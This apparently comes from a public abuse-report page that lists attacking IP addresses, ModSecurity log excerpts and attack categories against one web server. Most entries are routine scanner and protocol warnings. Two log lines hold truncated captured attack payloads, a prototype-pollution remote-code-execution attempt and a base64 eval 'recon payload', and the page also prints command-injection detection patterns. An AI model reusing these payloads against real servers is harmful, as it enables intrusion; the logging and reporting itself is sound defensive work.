|
🇺🇸
44.203.125.226
|
|
[Sun Sep 06 00:55:05.084619 2026] [security2:error] [pid 993078:tid 993078] [client 44.203.125.226:5 ...
show more
[Sun Sep 06 00:55:05.084619 2026] [security2:error] [pid 993078:tid 993078] [client 44.203.125.226:57428] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/favicon.ico"] [unique_id "ap0OSZzKIVS7inlYwv3dgQAAAAY"]
[Sun Sep 06 00:55:05.086464 2026] [security2:error] [pid 993078:tid 993078] [client 44.203.125.226:57428] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"]
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
3.86.101.5
|
|
[Sun Sep 06 00:54:40.243036 2026] [security2:error] [pid 990765:tid 990765] [client 3.86.101.5:28814 ...
show more
[Sun Sep 06 00:54:40.243036 2026] [security2:error] [pid 990765:tid 990765] [client 3.86.101.5:28814] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "ap0OMD6rwOlGswG1DE5MngAAAAc"]
[Sun Sep 06 00:54:40.519249 2026] [security2:error] [pid 990765:tid 990765] [client 3.86.101.5:28814] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"] [msg
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
43.130.174.37
|
|
[Sun Sep 06 00:49:28.521973 2026] [security2:error] [pid 990769:tid 990769] [client 43.130.174.37:46 ...
show more
[Sun Sep 06 00:49:28.521973 2026] [security2:error] [pid 990769:tid 990769] [client 43.130.174.37:46826] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "566"] [id "920280"] [msg "Request Missing a Host Header"] [severity "CRITICAL"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "cursos.robertomurillo.net"] [uri "/"] [unique_id "ap0M-H3VqNGZTTnSV3zrcAAAAAM"]
[Sun Sep 06 00:49:28.523420 2026] [security2:error] [pid 990769:tid 990769] [client 43.130.174.37:46826] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=5, detection=5, per_pl=5-0-0-0,
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇳🇱
185.242.226.70
|
|
[Sun Sep 06 00:35:36.433928 2026] [security2:error] [pid 990895:tid 990895] [client 185.242.226.70:3 ...
show more
[Sun Sep 06 00:35:36.433928 2026] [security2:error] [pid 990895:tid 990895] [client 185.242.226.70:37520] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "ap0JuEiuJcvodNuAVBVPeQAAAAQ"]
[Sun Sep 06 00:35:36.618211 2026] [security2:error] [pid 990895:tid 990895] [client 185.242.226.70:37520] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇸🇬
47.128.96.159
|
|
47.128.96.159 - - [06/Sep/2026:00:30:45 -0600] "GET /robots.txt HTTP/1.1" 403 5566 "-" "-"
...
|
Bad Web Bot
|
|
🇭🇰
118.193.36.109
|
|
118.193.36.109 - - [06/Sep/2026:00:05:56 -0600] "GET / HTTP/1.0" 400 744 "-" "-"
...
|
Bad Web Bot
|
|
🇯🇵
43.133.187.11
|
|
[Sat Sep 05 23:52:40.180528 2026] [security2:error] [pid 982076:tid 982076] [client 43.133.187.11:47 ...
show more
[Sat Sep 05 23:52:40.180528 2026] [security2:error] [pid 982076:tid 982076] [client 43.133.187.11:47754] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "402"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found"] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apz_qFhDqSklqHxVwFTXKgAAAAA"]
[Sat Sep 05 23:52:40.180662 2026] [security2:error] [pid 982076:tid 982076] [client 43.133.187.11:47754] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/et
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇨🇳
82.156.34.74
|
|
[Sat Sep 05 23:23:29.324012 2026] [security2:error] [pid 973664:tid 973664] [client 82.156.34.74:417 ...
show more
[Sat Sep 05 23:23:29.324012 2026] [security2:error] [pid 973664:tid 973664] [client 82.156.34.74:41738] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "402"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found"] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "www.robertomurillo.net"] [uri "/"] [unique_id "apz40Q-KCaYqqJeTcCe27wAAAAE"]
[Sat Sep 05 23:23:29.325875 2026] [security2:error] [pid 973664:tid 973664] [client 82.156.34.74:41738] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [l
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇮🇳
172.232.108.36
|
|
[Sat Sep 05 23:00:23.047161 2026] [security2:error] [pid 973670:tid 973670] [client 172.232.108.36:3 ...
show more
[Sat Sep 05 23:00:23.047161 2026] [security2:error] [pid 973670:tid 973670] [client 172.232.108.36:33590] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apzzZyygj0RgD8e2s9xlcQAAAAY"]
[Sat Sep 05 23:00:23.048996 2026] [security2:error] [pid 973670:tid 973670] [client 172.232.108.36:33590] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
146.190.139.252
|
|
[Sat Sep 05 22:53:46.616922 2026] [security2:error] [pid 953439:tid 953439] [client 146.190.139.252: ...
show more
[Sat Sep 05 22:53:46.616922 2026] [security2:error] [pid 953439:tid 953439] [client 146.190.139.252:34044] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apzx2hbrYtMI2q-62dNzQwAAAAw"]
[Sat Sep 05 22:53:46.781749 2026] [security2:error] [pid 953439:tid 953439] [client 146.190.139.252:34044] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "9801
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇬
193.24.211.19
|
|
[Sat Sep 05 22:47:02.689164 2026] [security2:error] [pid 944386:tid 944386] [client 193.24.211.19:57 ...
show more
[Sat Sep 05 22:47:02.689164 2026] [security2:error] [pid 944386:tid 944386] [client 193.24.211.19:57431] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/remote/login"] [unique_id "apzwRnmUuQ5QZoXae6manAAAAAM"]
[Sat Sep 05 22:47:02.690997 2026] [security2:error] [pid 944386:tid 944386] [client 193.24.211.19:57431] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
40.124.186.35
|
|
40.124.186.35 - - [05/Sep/2026:22:34:37 -0600] "GET / HTTP/1.0" 400 744 "-" "-"
...
|
Bad Web Bot
|
|
🇯🇵
164.52.24.185
|
|
[Sat Sep 05 22:29:43.265559 2026] [security2:error] [pid 958442:tid 958442] [client 164.52.24.185:41 ...
show more
[Sat Sep 05 22:29:43.265559 2026] [security2:error] [pid 958442:tid 958442] [client 164.52.24.185:41893] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apzsN8uEwaFkAEhviEgISwAAAAA"]
[Sat Sep 05 22:29:43.267740 2026] [security2:error] [pid 958442:tid 958442] [client 164.52.24.185:41893] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"]
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇶🇦
34.18.11.126
|
|
[Sat Sep 05 22:20:19.903826 2026] [security2:error] [pid 953548:tid 953548] [client 34.18.11.126:559 ...
show more
[Sat Sep 05 22:20:19.903826 2026] [security2:error] [pid 953548:tid 953548] [client 34.18.11.126:55950] ModSecurity: Warning. Pattern match "(?i)(?:b[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?u[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?s[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\ ..." at ARGS:0. [file "/etc/modsecurity/crs/current/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "205"] [id "932235"] [msg "Remote Command Execution: Unix Command Injection (command without evasion)"] [data "Matched Data: | base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainMod
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇪
198.235.24.242
|
|
[Sat Sep 05 22:11:22.468596 2026] [security2:error] [pid 953525:tid 953525] [client 198.235.24.242:6 ...
show more
[Sat Sep 05 22:11:22.468596 2026] [security2:error] [pid 953525:tid 953525] [client 198.235.24.242:60226] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17:80"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/.well-known/security.txt"] [unique_id "apzn6tZB7V8_vCI3GfdXLgAAABA"]
[Sat Sep 05 22:11:22.643914 2026] [security2:error] [pid 953525:tid 953525] [client 198.235.24.242:60226] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.con
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
44.222.152.81
|
|
[Sat Sep 05 21:51:08.606936 2026] [security2:error] [pid 953440:tid 953440] [client 44.222.152.81:38 ...
show more
[Sat Sep 05 21:51:08.606936 2026] [security2:error] [pid 953440:tid 953440] [client 44.222.152.81:38850] ModSecurity: Warning. Pattern match "(?i)(?:b[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?u[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?s[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\ ..." at ARGS:0. [file "/etc/modsecurity/crs/current/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "205"] [id "932235"] [msg "Remote Command Execution: Unix Command Injection (command without evasion)"] [data "Matched Data: eval)(global[\\x5c\\x22\\x5c\\x5cx42\\x5c\\x5cx75\\x5c\\x5cx66\\x5c\\x5cx66\\x5c\\x5cx65\\x5c\\x5cx72\\x5c\\x22].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzI
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇪
34.156.81.252
|
|
[Sat Sep 05 21:50:58.321236 2026] [security2:error] [pid 953524:tid 953524] [client 34.156.81.252:13 ...
show more
[Sat Sep 05 21:50:58.321236 2026] [security2:error] [pid 953524:tid 953524] [client 34.156.81.252:13866] ModSecurity: Warning. Matched phrase "nmap" at REQUEST_HEADERS:User-Agent. [file "/etc/modsecurity/crs/current/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "56"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap found within REQUEST_HEADERS:User-Agent: Mozilla/5.0 (compatible; nmap-http-info)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/SCANNER-DETECTION"] [tag "capec/1000/118/224/541/310"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apzjIkX-D5Fhy22W3qiRkwAAAA0"]
[Sat Sep 05 21:50:58.321475 2026] [security2:error] [pid 953524:tid 953524] [client 34.156.81.252:13866] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇪
34.156.182.150
|
|
[Sat Sep 05 21:50:27.336089 2026] [security2:error] [pid 953439:tid 953439] [client 34.156.182.150:2 ...
show more
[Sat Sep 05 21:50:27.336089 2026] [security2:error] [pid 953439:tid 953439] [client 34.156.182.150:2714] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17:80"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apzjAxbrYtMI2q-62dNzCAAAAAw"]
[Sat Sep 05 21:50:27.338103 2026] [security2:error] [pid 953439:tid 953439] [client 34.156.182.150:2714] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "98017
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇷
170.231.7.25
|
|
[Sat Sep 05 21:43:02.535584 2026] [security2:error] [pid 953584:tid 953584] [client 170.231.7.25:630 ...
show more
[Sat Sep 05 21:43:02.535584 2026] [security2:error] [pid 953584:tid 953584] [client 170.231.7.25:63087] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/admin/config.php"] [unique_id "apzhRtQxZ-Y8rTi36okcTQAAAAE"]
[Sat Sep 05 21:43:32.785196 2026] [security2:error] [pid 953584:tid 953584] [client 170.231.7.25:63087] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"]
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇷
16.5.0.242
|
|
[Sat Sep 05 21:33:18.241437 2026] [security2:error] [pid 943334:tid 943334] [client 16.5.0.242:54916 ...
show more
[Sat Sep 05 21:33:18.241437 2026] [security2:error] [pid 943334:tid 943334] [client 16.5.0.242:54916] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apze_qitQ73G8c3Aw6iUiQAAAAc"]
[Sat Sep 05 21:33:18.513298 2026] [security2:error] [pid 943334:tid 943334] [client 16.5.0.242:54916] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"] [msg
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇳🇱
206.189.5.249
|
|
[Sat Sep 05 21:30:48.662108 2026] [security2:error] [pid 953548:tid 953548] [client 206.189.5.249:52 ...
show more
[Sat Sep 05 21:30:48.662108 2026] [security2:error] [pid 953548:tid 953548] [client 206.189.5.249:52842] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apzeaIhPNThdriZcvz3SGAAAAAQ"]
[Sat Sep 05 21:30:48.664091 2026] [security2:error] [pid 953548:tid 953548] [client 206.189.5.249:52842] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"]
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇷
16.5.0.240
|
|
16.5.0.240 - - [05/Sep/2026:21:25:18 -0600] "GET / HTTP/1.0" 400 744 "-" "-"
...
|
Bad Web Bot
|
|
🇨🇭
185.231.33.46
|
|
[Sat Sep 05 21:06:53.257155 2026] [security2:error] [pid 945830:tid 945830] [client 185.231.33.46:43 ...
show more
[Sat Sep 05 21:06:53.257155 2026] [security2:error] [pid 945830:tid 945830] [client 185.231.33.46:43466] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/remote/info"] [unique_id "apzYzagNqnDjKeQcfXzX1gAAAAQ"]
[Sat Sep 05 21:06:53.259034 2026] [security2:error] [pid 945830:tid 945830] [client 185.231.33.46:43466] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [i
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
216.218.206.67
|
|
[Sat Sep 05 21:01:03.848016 2026] [security2:error] [pid 931011:tid 931011] [client 216.218.206.67:4 ...
show more
[Sat Sep 05 21:01:03.848016 2026] [security2:error] [pid 931011:tid 931011] [client 216.218.206.67:46540] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apzXb-di18D7s5FWbS5pFwAAAA0"]
[Sat Sep 05 21:01:03.849918 2026] [security2:error] [pid 931011:tid 931011] [client 216.218.206.67:46540] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇸🇬
43.160.219.138
|
|
[Sat Sep 05 20:55:57.308761 2026] [security2:error] [pid 944380:tid 944380] [client 43.160.219.138:3 ...
show more
